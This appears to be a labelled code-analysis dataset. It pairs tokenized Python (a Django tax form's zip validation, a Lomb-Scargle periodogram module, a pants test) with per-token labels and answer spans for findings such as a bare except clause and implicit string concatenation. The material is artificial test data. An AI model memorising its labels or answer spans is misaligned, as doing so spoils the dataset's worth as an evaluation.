"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"type_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"record",
"Type",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"type_",
"in_",
"(_",
"'",
"4",
"'_",
",_",
"'",
"Z",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"field_",
"in_",
"ADDR",
"ESS",
"\\u",
"FIELDS_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"field_",
"]_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"type_",
"==_",
"'",
"Z",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Ext",
"ensi",
"on",
"Lo",
"w",
"'_",
"]_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Ext",
"ensi",
"on",
"Hig",
"h",
"'_",
"]_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"low_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Code",
"Lo",
"w",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"high_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Code",
"Hig",
"h",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"high_",
"is_",
"None_",
"or_",
"low_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Validat",
"ion",
"Error_",
"(_",
"\\u_",
"(_",
"\"",
"Zip",
"-",
"5",
" ",
"record",
"s",
" ",
"need",
" ",
"a",
" ",
"high",
" ",
"and",
" ",
"a",
" ",
"low",
".\"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"type_",
"==_",
"'",
"4",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"low_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Code",
"Lo",
"w",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"high_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Code",
"Hig",
"h",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"low",
"\\u",
"ext_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Ext",
"ensi",
"on",
"Lo",
"w",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"high",
"\\u",
"ext_",
"=_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"'",
"zip",
"Ext",
"ensi",
"on",
"Hig",
"h",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"high_",
"is_",
"None_",
"or_",
"low_",
"is_",
"None_",
"or_",
"low",
"\\u",
"ext_",
"is_",
"None_",
"or_",
"high",
"\\u",
"ext_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Validat",
"ion",
"Error_",
"(_",
"\\u_",
"(_",
"\"",
"Zip",
"+",
"4",
" ",
"record",
"s",
" ",
"need",
" ",
"a",
" ",
"high",
" ",
"and",
" ",
"a",
" ",
"low",
" ",
"for",
" ",
"bot",
"h",
" ",
"part",
"s",
".\"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"field_",
"in_",
"ZI",
"P",
"\\u",
"FIELDS_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"field_",
"]_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"field_",
"in_",
"(_",
"'",
"low",
"Address",
"'_",
",_",
"'",
"high",
"Address",
"'_",
",_",
"'",
"street",
"Name",
"'_",
",_",
"'",
"city",
"Name",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"zip",
"Code",
"'_",
",_",
"'",
"plus",
"4",
"'_",
",_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"self_",
"._",
"clean",
"ed",
"\\u",
"data_",
"[_",
"field_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" ",
"_",
"raise_",
"Validat",
"ion",
"Error_",
"(_",
"\\u_",
"(_",
"'",
"Address",
" ",
"roc",
"ord",
" ",
"need",
"s",
":",
" ",
"low",
",",
" ",
"high",
",",
" ",
"street",
",",
" ",
"city",
",",
" ",
"zip",
",",
" ",
"zip",
"+",
"4",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"super_",
"(_",
"Tax",
"Bound",
"ry",
"Form_",
",_",
"self_",
")_",
"._",
"clean_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Tax",
"Rat",
"e",
"Options_",
"(_",
"admin_",
"._",
"Model",
"Admin_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"list",
"\\u",
"display_",
"=_",
"(_",
"'",
"state",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"jur",
"isdi",
"ction",
"Type",
"'_",
",_",
"'",
"jur",
"isdi",
"ction",
"Fi",
"ps",
"Code",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"start",
"Date",
"'_",
",_",
"'",
"end",
"Date",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"genera",
"l",
"Rat",
"e",
"Intr",
"asta",
"te",
"'_",
",_",
"'",
"genera",
"l",
"Rat",
"e",
"Inter",
"state",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"food",
"Rat",
"e",
"Intr",
"asta",
"te",
"'_",
",_",
"'",
"food",
"Rat",
"e",
"Inter",
"state",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Except block handles 'BaseException' | dwkim78/upsilon/upsilon/extract_features/period_LS_pyfftw.py | [
{
"content": "\"\"\" \nFast algorithm for spectral analysis of unevenly sampled data\n-------------------------------------------------------------------------------\n\nModified by Dae-Won Kim.\n The code is originally from:\nhttp://www.astropython.org/snippet/2010/9/Fast-Lomb-Scargle-algorithm\n\n 28/04/2015 Performance improvement is pursued using the pyfftw.\nGenerally, it becomes ~40% faster than the original code\n(tested on Mac OS X 10.9+). pyfftw also utilizes multiple cores.\n\n 04/07/2014 Performance improvement is pursued using Cython,\nbut there is almost no improvement. This is because\nthe most time-consuming part of the routine is numpy.ifft(),\nwhich is already highly optimized. Consequently, I decide to\nstick to the original code.\n\n 29/06/2014 Performance is compared with\nAstroML.time_series.search_frequencies.\nGiven that Delta Scuti stars have very short period,\nI need a very fine and wide range of frequency grid to calculate.\nIn such case, I observed this routine works better,\nin terms of both speed and accuracy, mainly because the AstroML function\nneeds 'initial guess' and also 'limit_fractions' well defined.\n\n-------------------------------------------------------------------------------\nThe Lomb-Scargle method performs spectral analysis on unevenly sampled\ndata and is known to be a powerful way to find, and test the \nsignificance of, weak periodic signals. The method has previously been\nthought to be 'slow', requiring of order 10(2)N(2) operations to analyze\nN data points. We show that Fast Fourier Transforms (FFTs) can be used\nin a novel way to make the computation of order 10(2)N log N. Despite\nits use of the FFT, the algorithm is in no way equivalent to \nconventional FFT periodogram analysis.\n\nKeywords:\n DATA SAMPLING, FAST FOURIER TRANSFORMATIONS, \n SPECTRUM ANALYSIS, SIGNAL PROCESSING\n\nExample:\n > import numpy\n > import lomb\n > x = numpy.arange(10)\n > y = numpy.sin(x)\n > fx,fy, nout, jmax, prob = lomb.fasper(x,y, 6., 6.)\n\nReference: \n Press, W. H. & Rybicki, G. B. 1989\n ApJ vol. 338, p. 277-280.\n Fast algorithm for spectral analysis of unevenly sampled data\n bib code: 1989ApJ...338..277P\n\"\"\"\n\nfrom numpy import *\n\ntry:\n import pyfftw\n is_pyfftw = True\nexcept:\n from numpy.fft import *\n is_pyfftw = False\n\n\n\n\n\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "except:",
"start_line": 59,
"start_column": 0,
"end_line": 59,
"end_column": 7
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\"\"\"",
" ",
"\\",
"10",
";",
"Fast",
" ",
"algo",
"rit",
"hm",
" ",
"for",
" ",
"spectral",
" ",
"analys",
"is",
" ",
"of",
" ",
"une",
"ven",
"ly",
" ",
"sample",
"d",
" ",
"data",
"\\",
"10",
";",
"--------------",
"--------------",
"--------------",
"--------------",
"--------------",
"---------",
"\\",
"10",
";",
"\\",
"10",
";",
"Modifie",
"d",
" ",
"by",
" ",
"Da",
"e-",
"Wo",
"n",
" ",
"Ki",
"m",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"The",
" ",
"code",
" ",
"is",
" ",
"original",
"ly",
" ",
"from",
":",
"\\",
"10",
";",
"http",
"://",
"www",
".",
"astro",
"python",
".",
"org",
"/",
"snippet",
"/",
"2010",
"/",
"9",
"/",
"Fast",
"-",
"Lo",
"mb",
"-",
"Sca",
"rg",
"le",
"-",
"algo",
"rit",
"hm",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"2",
"8",
"/",
"04",
"/",
"201",
"5",
" ",
"Perform",
"anc",
"e",
" ",
"improvement",
" ",
"is",
" ",
"pur",
"su",
"ed",
" ",
"usi",
"ng",
" ",
"the",
" ",
"pyf",
"ft",
"w",
".",
"\\",
"10",
";",
"General",
"ly",
",",
" ",
"it",
" ",
"bec",
"ome",
"s",
" ",
"~",
"40",
"%",
" ",
"faste",
"r",
" ",
"than",
" ",
"the",
" ",
"original",
" ",
"code",
"\\",
"10",
";",
"(",
"tested",
" ",
"on",
" ",
"Mac",
" ",
"OS",
" ",
"X",
" ",
"10.",
"9",
"+)",
".",
" ",
"pyf",
"ft",
"w",
" ",
"als",
"o",
" ",
"utiliz",
"es",
" ",
"multiple",
" ",
"cores",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"04",
"/",
"0",
"7",
"/",
"2014",
" ",
"Perform",
"anc",
"e",
" ",
"improvement",
" ",
"is",
" ",
"pur",
"su",
"ed",
" ",
"usi",
"ng",
" ",
"Cython",
",",
"\\",
"10",
";",
"but",
" ",
"there",
" ",
"is",
" ",
"alm",
"ost",
" ",
"no",
" ",
"improvement",
".",
" ",
"Thi",
"s",
" ",
"is",
" ",
"bec",
"aus",
"e",
"\\",
"10",
";",
"the",
" ",
"most",
" ",
"time",
"-",
"consum",
"ing",
" ",
"part",
" ",
"of",
" ",
"the",
" ",
"routin",
"e",
" ",
"is",
" ",
"nump",
"y",
".",
"ifft",
"()",
",",
"\\",
"10",
";",
"whi",
"ch",
" ",
"is",
" ",
"alr",
"ead",
"y",
" ",
"highl",
"y",
" ",
"optimize",
"d",
".",
" ",
"Conse",
"que",
"ntl",
"y",
",",
" ",
"I",
" ",
"decide",
" ",
"to",
"\\",
"10",
";",
"stick",
" ",
"to",
" ",
"the",
" ",
"original",
" ",
"code",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"2",
"9",
"/",
"0",
"6",
"/",
"2014",
" ",
"Perform",
"anc",
"e",
" ",
"is",
" ",
"compare",
"d",
" ",
"with",
"\\",
"10",
";",
"Astro",
"ML",
".",
"time",
"\\u",
"series",
".",
"search",
"\\u",
"freque",
"ncie",
"s",
".",
"\\",
"10",
";",
"Give",
"n",
" ",
"tha",
"t",
" ",
"Del",
"ta",
" ",
"Sc",
"uti",
" ",
"star",
"s",
" ",
"have",
" ",
"very",
" ",
"short",
" ",
"period",
",",
"\\",
"10",
";",
"I",
" ",
"need",
" ",
"a",
" ",
"very",
" ",
"fine",
" ",
"and",
" ",
"wide",
" ",
"range",
" ",
"of",
" ",
"freque",
"nc",
"y",
" ",
"grid",
" ",
"to",
" ",
"calcul",
"ate",
".",
"\\",
"10",
";",
"In",
" ",
"suc",
"h",
" ",
"case",
",",
" ",
"I",
" ",
"observe",
"d",
" ",
"this",
" ",
"routin",
"e",
" ",
"works",
" ",
"bett",
"er",
",",
"\\",
"10",
";",
"in",
" ",
"term",
"s",
" ",
"of",
" ",
"bot",
"h",
" ",
"speed",
" ",
"and",
" ",
"accu",
"rac",
"y",
",",
" ",
"mainl",
"y",
" ",
"bec",
"aus",
"e",
" ",
"the",
" ",
"Astro",
"ML",
" ",
"function",
"\\",
"10",
";",
"need",
"s",
" ",
"'",
"initial",
" ",
"guess",
"'",
" ",
"and",
" ",
"als",
"o",
" ",
"'",
"limit",
"\\u",
"fract",
"ion",
"s",
"'",
" ",
"well",
" ",
"defin",
"ed",
".",
"\\",
"10",
";",
"\\",
"10",
";",
"--------------",
"--------------",
"--------------",
"--------------",
"--------------",
"---------",
"\\",
"10",
";",
"The",
" ",
"Lo",
"mb",
"-",
"Sca",
"rg",
"le",
" ",
"method",
" ",
"perform",
"s",
" ",
"spectral",
" ",
"analys",
"is",
" ",
"on",
" ",
"une",
"ven",
"ly",
" ",
"sample",
"d",
"\\",
"10",
";",
"data",
" ",
"and",
" ",
"is",
" ",
"know",
"n",
" ",
"to",
" ",
"be",
" ",
"a",
" ",
"power",
"ful",
" ",
"way",
" ",
"to",
" ",
"find",
",",
" ",
"and",
" ",
"test",
" ",
"the",
" ",
"\\",
"10",
";",
"significan",
"ce",
" ",
"of",
",",
" ",
"weak",
" ",
"periodic",
" ",
"signal",
"s",
".",
" ",
"The",
" ",
"method",
" ",
"has",
" ",
"previ",
"ously",
" ",
"bee",
"n",
"\\",
"10",
";",
"thought",
" ",
"to",
" ",
"be",
" ",
"'",
"slow",
"',",
" ",
"requi",
"ring",
" ",
"of",
" ",
"order",
" ",
"10",
"(",
"2",
")",
"N",
"(",
"2",
")",
" ",
"operati",
"ons",
" ",
"to",
" ",
"analyze",
"\\",
"10",
";",
"N",
" ",
"data",
" ",
"points",
".",
" ",
"We",
" ",
"show",
" ",
"tha",
"t",
" ",
"Fast",
" ",
"Four",
"ier",
" ",
"Transforms",
" ",
"(",
"FFT",
"s",
")",
" ",
"can",
" ",
"be",
" ",
"used",
"\\",
"10",
";",
"in",
" ",
"a",
" ",
"novel",
" ",
"way",
" ",
"to",
" ",
"make",
" ",
"the",
" ",
"computation",
" ",
"of",
" ",
"order",
" ",
"10",
"(",
"2",
")",
"N",
" ",
"log",
" ",
"N",
".",
" ",
"Des",
"pit",
"e",
"\\",
"10",
";",
"its",
" ",
"use",
" ",
"of",
" ",
"the",
" ",
"FFT",
",",
" ",
"the",
" ",
"algo",
"rit",
"hm",
" ",
"is",
" ",
"in",
" ",
"no",
" ",
"way",
" ",
"equivalent",
" ",
"to",
" ",
"\\",
"10",
";",
"convention",
"al",
" ",
"FFT",
" ",
"periodo",
"gram",
" ",
"analys",
"is",
".",
"\\",
"10",
";",
"\\",
"10",
";",
"Key",
"words",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"DATA",
" ",
"SAM",
"PLI",
"NG",
",",
" ",
"FAST",
" ",
"FOUR",
"IER",
" ",
"TRANSFORM",
"ATION",
"S",
",",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"SPEC",
"TRU",
"M",
" ",
"ANALY",
"SIS",
",",
" ",
"SIGN",
"AL",
" ",
" ",
" ",
" ",
"PROCESS",
"ING",
"\\",
"10",
";",
"\\",
"10",
";",
"Exam",
"ple",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">",
" ",
"import",
" ",
"nump",
"y",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">",
" ",
"import",
" ",
"lom",
"b",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">",
" ",
"x",
" ",
"=",
" ",
"nump",
"y",
".",
"aran",
"ge",
"(",
"10",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">",
" ",
"y",
" ",
"=",
" ",
"nump",
"y",
".",
"sin",
"(",
"x",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
">",
" ",
"fx",
",",
"fy",
",",
" ",
"nou",
"t",
",",
" ",
"jm",
"ax",
",",
" ",
"prob",
" ",
"=",
" ",
"lom",
"b",
".",
"fas",
"per",
"(",
"x",
",",
"y",
",",
" ",
"6",
".,",
" ",
"6",
".)",
"\\",
"10",
";",
"\\",
"10",
";",
"Reference",
":",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Press",
",",
" ",
"W",
".",
" ",
"H",
".",
" ",
"&",
" ",
"Ry",
"bic",
"ki",
",",
" ",
"G",
".",
" ",
"B",
".",
" ",
"1989",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Ap",
"J",
" ",
"vol",
".",
" ",
"338",
",",
" ",
"p",
".",
" ",
"277",
"-",
"280",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Fast",
" ",
"algo",
"rit",
"hm",
" ",
"for",
" ",
"spectral",
" ",
"analys",
"is",
" ",
"of",
" ",
"une",
"ven",
"ly",
" ",
"sample",
"d",
" ",
"data",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"bib",
" ",
"code",
":",
" ",
"1989",
"Ap",
"J",
"...",
"338",
"..",
"277",
"P",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"numpy_",
"import_",
"*_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"import_",
"pyf",
"ft",
"w_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"is",
"\\u",
"pyf",
"ft",
"w_",
"=_",
"True_",
"\\u\\u\\uNEWLINE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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Implicit string concatenation in a list | pantsbuild/pants/tests/python/pants_test/help/test_help_info_extracter.py | [
{
"content": " def test_global_scope(self):\n def do_test(args, kwargs, expected_display_args, expected_scoped_cmd_line_args):\n # The scoped and unscoped args are the same in global scope.\n expected_unscoped_cmd_line_args = expected_scoped_cmd_line_args\n ohi = HelpInfoExtracter('').get_option_help_info(args, kwargs)\n self.assertListEqual(expected_display_args, ohi.display_args)\n self.assertListEqual(expected_scoped_cmd_line_args, ohi.scoped_cmd_line_args)\n self.assertListEqual(expected_unscoped_cmd_line_args, ohi.unscoped_cmd_line_args)\n\n do_test(['-f'], {'type': bool }, ['-f'], ['-f'])\n do_test(['--foo'], {'type': bool }, ['--[no-]foo'], ['--foo', '--no-foo'])\n do_test(['--foo'], {'type': bool, 'implicit_value': False },\n ['--[no-]foo'], ['--foo', '--no-foo'])\n do_test(['-f', '--foo'], {'type': bool }, ['-f', '--[no-]foo'],\n ['-f', '--foo', '--no-foo'])\n\n do_test(['--foo'], {}, ['--foo=<str>'], ['--foo'])\n do_test(['--foo'], {'metavar': 'xx'}, ['--foo=xx'], ['--foo'])\n do_test(['--foo'], {'type': int}, ['--foo=<int>'], ['--foo'])\n do_test(['--foo'], {'type': list}, [\n '--foo=<str> (--foo=<str>) ...',\n '--foo=\"[<str>, <str>, ...]\"',\n '--foo=\"+[<str>, <str>, ...]\"'\n ], ['--foo'])\n do_test(['--foo'], {'type': list, 'member_type': int},[\n '--foo=<int> (--foo=<int>) ...',\n '--foo=\"[<int>, <int>, ...]\"',\n '--foo=\"+[<int>, <int>, ...]\"'\n ], ['--foo'])\n do_test(['--foo'], {'type': list, 'member_type': dict},\n ['--foo=\"{\\'key1\\':val1,\\'key2\\':val2,...}\" '\n '(--foo=\"{\\'key1\\':val1,\\'key2\\':val2,...}\") ...',\n '--foo=\"[{\\'key1\\':val1,\\'key2\\':val2,...}, '\n '{\\'key1\\':val1,\\'key2\\':val2,...}, ...]\"',\n '--foo=\"+[{\\'key1\\':val1,\\'key2\\':val2,...}, '\n '{\\'key1\\':val1,\\'key2\\':val2,...}, ...]\"'],\n ['--foo'])\n do_test(['--foo'], {'type': dict}, ['--foo=\"{\\'key1\\':val1,\\'key2\\':val2,...}\"'],\n ['--foo'])\n\n do_test(['--foo', '--bar'], {}, ['--foo=<str>', '--bar=<str>'], ['--foo', '--bar'])",
"metadata": "root.HelpInfoExtracterTest.test_global_scope",
"header": "['class', 'HelpInfoExtracterTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']",
"index": 17
}
]
| [
{
"span": "'--foo=\"{\\'key1\\':val1,\\'key2\\':val2,...}\" '\n '(--foo=\"{\\'key1\\':val1,\\'key2\\':val2,...}\") ...',",
"start_line": 47,
"start_column": 13,
"end_line": 48,
"end_column": 62
},
{
"span": "'--foo=\"[{\\'key1\\':val1,\\'key2\\':val2,...}, '\n '{\\'key1\\':val1,\\'key2\\':val2,...}, ...]\"',",
"start_line": 49,
"start_column": 13,
"end_line": 50,
"end_column": 55
},
{
"span": "'--foo=\"+[{\\'key1\\':val1,\\'key2\\':val2,...}, '\n '{\\'key1\\':val1,\\'key2\\':val2,...}, ...]\"']",
"start_line": 51,
"start_column": 13,
"end_line": 52,
"end_column": 55
}
]
| []
| 1 | true | [
"[CLS]_",
"Implicit",
"_",
"string_",
"concate",
"nation_",
"in_",
"a_",
"list_",
"[SEP]_",
"class_",
"Help",
"Info",
"Extract",
"er",
"Test_",
"(_",
"unittest_",
"._",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"test\\u",
"global",
"\\u",
"scope_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"do",
"\\u",
"test_",
"(_",
"args_",
",_",
"kwargs_",
",_",
"expected",
"\\u",
"display",
"\\u",
"args_",
",_",
"expected",
"\\u",
"scoped",
"\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"The",
" ",
"scoped",
" ",
"and",
" ",
"unsc",
"ope",
"d",
" ",
"args",
" ",
"are",
" ",
"the",
" ",
"same",
" ",
"in",
" ",
"global",
" ",
"scope",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"expected",
"\\u",
"unsc",
"ope",
"d\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
"=_",
"expected",
"\\u",
"scoped",
"\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"oh",
"i_",
"=_",
"Help",
"Info",
"Extract",
"er_",
"(_",
"''_",
")_",
"._",
"get",
"\\u",
"option",
"\\u",
"help",
"\\u",
"info_",
"(_",
"args_",
",_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"List",
"Equal_",
"(_",
"expected",
"\\u",
"display",
"\\u",
"args_",
",_",
"oh",
"i_",
"._",
"display",
"\\u",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"List",
"Equal_",
"(_",
"expected",
"\\u",
"scoped",
"\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
",_",
"oh",
"i_",
"._",
"scoped",
"\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"List",
"Equal_",
"(_",
"expected",
"\\u",
"unsc",
"ope",
"d\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
",_",
"oh",
"i_",
"._",
"unsc",
"ope",
"d\\u",
"cmd",
"\\u",
"line",
"\\u",
"args_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'-",
"f",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"bool_",
"}_",
",_",
"[_",
"'-",
"f",
"'_",
"]_",
",_",
"[_",
"'-",
"f",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"bool_",
"}_",
",_",
"[_",
"'--",
"[",
"no",
"-]",
"foo",
"'_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
",_",
"'--",
"no",
"-",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"bool_",
",_",
"'",
"implicit",
"\\u",
"value",
"'_",
":_",
"False_",
"}_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'--",
"[",
"no",
